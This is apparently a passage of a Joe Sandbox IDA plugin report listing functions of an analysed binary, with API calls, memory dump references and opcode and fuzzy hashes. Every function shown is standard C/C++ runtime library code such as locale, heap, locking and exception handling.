API String ID: 1272433827-0
Opcode ID: 2b5904c48c5df79e78de4b2d674fb7f2eafc37648dd3f236cc16d50118ccbcf3
Instruction ID: fbd3fff666fd863942b679830fbee418f85119f58232863bd4183df63598f22a
Opcode Fuzzy Hash: 2b5904c48c5df79e78de4b2d674fb7f2eafc37648dd3f236cc16d50118ccbcf3
Instruction Fuzzy Hash: D8F03772A64204DFEB00EF98E902B9E77A0EB88725F10421AF4109B2A0DB795900DF40

Function 009A06D5 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

EnumSystemLocalesW.KERNEL32(009A0720,00000001,?,?,?,009A0160,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 009A070C

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 32db32dabba1dcb48f4d90d04aa943a8b9aa9cecfe62c3a109f3bc90f3f573a7
Instruction ID: c52ceb85379935f5116397e20a24b6fad02f17c7f3361f60180d2cb01f0c77f5
Opcode Fuzzy Hash: 32db32dabba1dcb48f4d90d04aa943a8b9aa9cecfe62c3a109f3bc90f3f573a7
Instruction Fuzzy Hash: E7F0E53A34020557CB149F39DD4576BBFA4EFC2764B0B4059FA098B691D671A842DBD0

Function 0099BA4C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,009962F0,?,20001004,00000000,00000002,?,?,00995202), ref: 0099BA80

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2e45fa1aab97bd06a066438b9dc97057f32658f7d75d96cef11fe605be59b08c
Instruction ID: 8757ce4705bcff621a1e9775512e1c4085f9d142c21adc745f44e607b7784cdb
Opcode Fuzzy Hash: 2e45fa1aab97bd06a066438b9dc97057f32658f7d75d96cef11fe605be59b08c
Instruction Fuzzy Hash: 56E04F32949128BBDF126F65EE08EAE3F69EF44761F014110FD0665161CB398921BAD4

Function 0098E420 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000E541), ref: 0098E425

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 564cca038b657885fda63f76dd3b8295db6e275ef36eb74e2e282b5cead4b9c2
Instruction ID: 3ee8bf79213abd744b2321b1a02a949b332c0aa82c0846551684a32f2d1ac817
Opcode Fuzzy Hash: 564cca038b657885fda63f76dd3b8295db6e275ef36eb74e2e282b5cead4b9c2
Instruction Fuzzy Hash:

Function 0099C705 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0099C705

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 445abcc29f4a1d138312d0c7bd2b48d9896209882f5a23a1961476ec9947b4d8
Instruction ID: 8a6401ff97aec6bb410106d2821aeefe3421851004fbc816c2ec679e8cdac1ca
Opcode Fuzzy Hash: 445abcc29f4a1d138312d0c7bd2b48d9896209882f5a23a1961476ec9947b4d8
Instruction Fuzzy Hash: 86A011302282008B83008F32AB0820A3BECAA08AA83088A28A008C0020EA208000BF00

Function 00981000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4363962fa0c7b0cb12200ee22251e4dad4e7f846aac70464cfda6dfe550e683
Instruction ID: 3146003af1d7935e24a2af84aa4d3081594386ec0d9d2bdf3199bcb9ac278045
Opcode Fuzzy Hash: b4363962fa0c7b0cb12200ee22251e4dad4e7f846aac70464cfda6dfe550e683
Instruction Fuzzy Hash: 68519BB0D1020D9FCB44EFA8C591AEEBBF4BB49350F24545AE415FB350D734AA42CB65

Function 00981690 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9d62a96dc4bd0b66bf885da68b09de0552910a9b6002276b405ba0b61ee9706
Instruction ID: 6db90d7fc8765c34617e34a78d25556063ae0ce123cd4d69a871f5e09c0075d0
Opcode Fuzzy Hash: d9d62a96dc4bd0b66bf885da68b09de0552910a9b6002276b405ba0b61ee9706
Instruction Fuzzy Hash: B6D06C3A655A58AFC210CF8AE840D41F7A8FB8D670B158166EA1893B20C271F811CEE0

Function 009AA1B2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00D14580,00D14580,00000000,7FFFFFFF,?,009AA19D,00D14580,00D14580,00000000,00D14580,?,?,?,?,00D14580,00000000), ref: 009AA258
__alloca_probe_16.LIBCMT ref: 009AA313
__alloca_probe_16.LIBCMT ref: 009AA3A2
__freea.LIBCMT ref: 009AA3ED
__freea.LIBCMT ref: 009AA3F3
__freea.LIBCMT ref: 009AA429
__freea.LIBCMT ref: 009AA42F
__freea.LIBCMT ref: 009AA43F

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 2bc59ed27dd83a15f63dd5908cf9fe90c9f0e2097c85cd631a1046f5953452fa
Instruction ID: 8cf9055788fdb9f9d2bed80bae3a6f7e351f817512a1dad43468eba4cdb4542f
Opcode Fuzzy Hash: 2bc59ed27dd83a15f63dd5908cf9fe90c9f0e2097c85cd631a1046f5953452fa
Instruction Fuzzy Hash: 8771E5729002459BDF219F648C81BAE77EEEF8B710F250459FD14A7291EB7A9C40C7E2

Function 0099DC7B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0099DD01

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: cbff355201e6154b52781c3113966492e3c4af968235757aaf5a3f6f2afe1b0b
Instruction ID: 81ef36e20875f5403fa0f7070a2c98e810a27488b0afc8a6282566bf31dad5ca
Opcode Fuzzy Hash: cbff355201e6154b52781c3113966492e3c4af968235757aaf5a3f6f2afe1b0b
Instruction Fuzzy Hash: 64B15A72A063559FEF11CFACCCC2BBEBBA9EFA5350F144555E405AF282D2749901C7A0

Function 0098F7F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0098F827
___except_validate_context_record.LIBVCRUNTIME ref: 0098F82F
_ValidateLocalCookies.LIBCMT ref: 0098F8B8
__IsNonwritableInCurrentImage.LIBCMT ref: 0098F8E3
_ValidateLocalCookies.LIBCMT ref: 0098F938

Strings

csm, xrefs: 0098F8CD

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b87a7a26404e4590646a804775b59af0630623474e202f1d67895e39c7f3f7d0
Instruction ID: e25478954a0a9c72850df9f1c6f8c689f4f09d8323a23c5e162c1c3a3d0a08c8
Opcode Fuzzy Hash: b87a7a26404e4590646a804775b59af0630623474e202f1d67895e39c7f3f7d0
Instruction Fuzzy Hash: B941E731E00218ABCF10EF68C894B9E7BB5EF85324F148165E815AB392D735DE15CBD1

Function 0098EB1C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0098EB22
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 0098EB30
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 0098EB41

Strings

GetSystemTimePreciseAsFileTime, xrefs: 0098EB2A
kernel32.dll, xrefs: 0098EB1D
GetTempPath2W, xrefs: 0098EB36

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: cc01cb2807f8ca4750c4430e87a260093e93099c25ede77a43225ca059908ae4
Instruction ID: a372d591b16d7acf07398ca0ac43e76616d7eed101e2be2328d3500459b3719f
Opcode Fuzzy Hash: cc01cb2807f8ca4750c4430e87a260093e93099c25ede77a43225ca059908ae4
Instruction Fuzzy Hash: C7D09E355AD3206F8700ABB0BE4A8D67E94EF856393054755F501D2561D7B44940AB94

Function 009A8A9C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51218f6e9be0a39dc31ab5450d79aa61a63bf8e9fe3497a0660b34736b886493
Instruction ID: 111531af8752034f70e11d5942893829c646e9e041673dcc04e9852440ccd37e
Opcode Fuzzy Hash: 51218f6e9be0a39dc31ab5450d79aa61a63bf8e9fe3497a0660b34736b886493
Instruction Fuzzy Hash: 7CB1D5B0A08249AFDF15EFA8C841BAF7BB5FF96310F144158E404A72D2DB759941CBE0

Function 00999AF4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00999AEB,0098F5BA,0098E585), ref: 00999B02
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00999B10
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00999B29
SetLastError.KERNEL32(00000000,00999AEB,0098F5BA,0098E585), ref: 00999B7B

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: aac2deec67e791e923f27c264f436aa0428e4947acbc09ad64a2fa77b750dae8
Instruction ID: 65b578025da502ab14654a3f549d28d92a0ce4e6e4376b5091281cab77f8d9ab
Opcode Fuzzy Hash: aac2deec67e791e923f27c264f436aa0428e4947acbc09ad64a2fa77b750dae8
Instruction Fuzzy Hash: C401D83222DA116EAE242FFCBD86B1B2A5CEB56775721032EF521755F2EE195C00B190

Function 0099A3BC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0099A4DB
CallUnexpected.LIBVCRUNTIME ref: 0099A754

Strings

csm, xrefs: 0099A3F9
csm, xrefs: 0099A466
csm, xrefs: 0099A512

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 10fb7cc30390334e0228d577f25a33e787b7fc85227cf759b9fbefa94c667e1c
Instruction ID: 6027dc37abb9893c490cb3dac553a0d8d3b1f0b65c7e852bf4e68132ef6b5d5e
Opcode Fuzzy Hash: 10fb7cc30390334e0228d577f25a33e787b7fc85227cf759b9fbefa94c667e1c
Instruction Fuzzy Hash: A5B18671800209EFCF14DFADC885AAEBBB9FF54310F18456AE8056B222D735DA51CBD2

Function 00994A89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F1D6E486,?,?,00000000,009AB3E5,000000FF,?,00994B4A,00000002,?,00994BE6,00997849), ref: 00994ABE
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00994AD0
FreeLibrary.KERNEL32(00000000,?,?,00000000,009AB3E5,000000FF,?,00994B4A,00000002,?,00994BE6,00997849), ref: 00994AF2

Strings

CorExitProcess, xrefs: 00994AC8
mscoree.dll, xrefs: 00994AB7

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8e53789be631367d772b0ce1088f3c325d6efd68736868c6b740339f047b596a
Instruction ID: a8b44951823fadd13a04fd14b341a8dc38c8c67dcb4ea44a36a0825987f897ec
Opcode Fuzzy Hash: 8e53789be631367d772b0ce1088f3c325d6efd68736868c6b740339f047b596a
Instruction Fuzzy Hash: 5B01A735998615AFCB129F84DD05FAF7BFCFB44B25F000629F821A2690DB749900DA94

Function 0099C516 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0099C59B
__alloca_probe_16.LIBCMT ref: 0099C664
__freea.LIBCMT ref: 0099C6CB

Part of subcall function 0099AD61: RtlAllocateHeap.NTDLL(00000000,0099CD3A,?,?,0099CD3A,00000220,?,00000000,?), ref: 0099AD93

__freea.LIBCMT ref: 0099C6DE
__freea.LIBCMT ref: 0099C6EB

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 8406579dd5b8f73b6ad039323dcf21fc60b861397938038375b02f68e43258a2
Instruction ID: f6951f076a2eead8a6e3b9ee65bd5e9b77cb2c79d7d888a989944c0ae8b87a9c
Opcode Fuzzy Hash: 8406579dd5b8f73b6ad039323dcf21fc60b861397938038375b02f68e43258a2
Instruction Fuzzy Hash: 8251AFB2600247AFEF21AF68DC81EBB7AADEF98710B15052AFC05D7151EB75DD108660

Function 0098E8E7 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0098E8FB
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E91A
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E948
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E9A3
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,009AB3C8,000000FF,?,0098B697), ref: 0098E9BA

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: c53cb613bee49843f556cdf52e5dd9155c8c3c210b2d870a16d471904f2e65af
Instruction ID: d454df10600a9ba5605f85dd8bb158d7fd970158a5afcf5526bf0047c6d5363b
Opcode Fuzzy Hash: c53cb613bee49843f556cdf52e5dd9155c8c3c210b2d870a16d471904f2e65af
Instruction Fuzzy Hash: 97416B31504606DFCB64EF65C5A5A6AB3F8FF08360B204A2AE456D7740E7B2F984CB51

Function 0098C054 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0098C05B
std::_Lockit::_Lockit.LIBCPMT ref: 0098C066
std::_Lockit::~_Lockit.LIBCPMT ref: 0098C0D4

Part of subcall function 0098BF5D: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0098BF75

std::locale::_Setgloballocale.LIBCPMT ref: 0098C081
_Yarn.LIBCPMT ref: 0098C097

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 3156da1573939fa9d5283d58178ecf28b46f57b2a989d260ff91191e59377121
Instruction ID: 3dfaab01e6112c17cb12dd9c3865c01c2dec6459072f08190ac283027d10f1a2
Opcode Fuzzy Hash: 3156da1573939fa9d5283d58178ecf28b46f57b2a989d260ff91191e59377121
Instruction Fuzzy Hash: 4E019AB5A04510DBCB06FB20895567D7BA1BBC5760B190248E816573C2CF34AA42DBD1

Function 009A52C1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

